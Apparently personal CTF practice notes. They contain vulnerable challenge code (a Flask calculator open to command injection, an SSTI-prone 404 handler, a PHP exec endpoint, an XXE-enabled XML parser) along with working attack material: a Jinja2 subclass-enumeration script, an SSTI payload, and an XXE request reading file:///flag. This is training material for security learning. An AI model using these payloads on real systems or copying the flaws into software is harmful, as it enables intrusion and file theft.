from flask import Flask, request
import subprocess

app = Flask(__name__)


@app.route("/")
def index():
    return open(__file__).read()


@app.route("/calc", methods=['POST'])
def calculator():
    expression = request.form.get('expression') or "114 1000 * 514 + p"
    result = subprocess.run(["dc", "-e", expression], capture_output=True, text=True)
    return result.stdout


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

from flask import Flask, request
import subprocess  # 用于执行系统命令

app = Flask(__name__)  # 初始化 Flask 应用


@app.route("/")
def index():
    # 访问根路径时，返回当前文件的源代码
    return open(__file__).read()


@app.route("/calc", methods=['POST'])
def calculator():
    # 获取 POST 请求中 form 表单的 expression 参数，默认值为 "114 1000 * 514 + p"
    expression = request.form.get('expression') or "114 1000 * 514 + p"
    # 调用 subprocess.run 执行 dc 命令（dc -e 用于执行表达式）
    # capture_output=True 捕获命令输出，text=True 以文本形式返回结果
    result = subprocess.run(["dc", "-e", expression], capture_output=True, text=True)
    # 返回 dc 命令的标准输出
    return result.stdout


if __name__ == "__main__":
    # 启动 Flask 服务，监听所有网卡的 8000 端口
    app.run(host="0.0.0.0", port=8000)

from flask import Flask, request, render_template, render_template_string
import os
app = Flask(__name__)

flag=os.getenv("flag")   #进入内存
os.unsetenv("flag")		#删掉flag，，躺在哪里？？
@app.route('/')
def index():
    return open(__file__, "r").read()    #r


@app.errorhandler(404)
def page_not_found(e):			#传入错误的路径可以触发打印其内容
    print(request.root_url)   
    return render_template_string("<h1>The Url {} You Requested Can Not Found</h1>".format(request.url))


if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

import requests

# 这里的 URL 是题目给的基础地址
base_url = "http://challenge.imxbt.cn:32572/"

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'
}

for i in range(500):
    # 核心：直接把 Payload 拼接到 URL 路径中
    # 注意：Jinja2 在 URL 中有时需要对特殊字符进行处理，但 requests 通常会自动处理
    payload = "{{().__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"
    target_url = base_url + payload
    
    try:
        # 发送 GET 请求，因为代码里是 request.url 触发 404
        res = requests.get(url=target_url, headers=headers, timeout=2)
        
        # 如果页面返回的内容里包含我们要找的类名
        if 'os._wrap_close' in res.text:
            print(f"找到索引啦！索引值为: {i}")
            break 
    except Exception as e:
        pass

{{().__class__.__bases__[0].__subclasses__()[134]}}

 <?php
highlight_file(__FILE__);
$cmd = $_REQUEST['cmd'] ?? 'ls';
if (strpos($cmd, ' ') !== false) {
    echo strpos($cmd, ' ');
    die('no space allowed');
}
@exec($cmd); // 没有回显怎么办？ 

from flask import Flask,request
import base64
from lxml import etree
app = Flask(__name__)

@app.route('/')
def index():
    return open(__file__).read()


@app.route('/parse',methods=['POST'])
def parse():
    xml=request.form.get('xml')
    print(xml)
    if xml is None:
        return "None"
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    root = etree.fromstring(xml, parser)
    name=root.find('name').text
    return name or None



if __name__=="__main__":
    app.run(host='0.0.0.0',port=8000)

POST /parse HTTP/1.1
Host: challenge.imxbt.cn:32525
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Origin: http://challenge.imxbt.cn:32525
Connection: keep-alive
Referer: http://challenge.imxbt.cn:32525/parse
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.abpmnA.OOyan3DOBxvBTdk2yfjFwDBUH88
Upgrade-Insecure-Requests: 1
Priority: u=0, i

xml=<%3fxml+version%3d"1.0"%3f>
<!DOCTYPE+test+[
++++++++<!ELEMENT+test+ANY+>

++++<!ENTITY+ddd+SYSTEM+"file%3a///flag">
]>
<test><name>%26ddd%3b</name></test>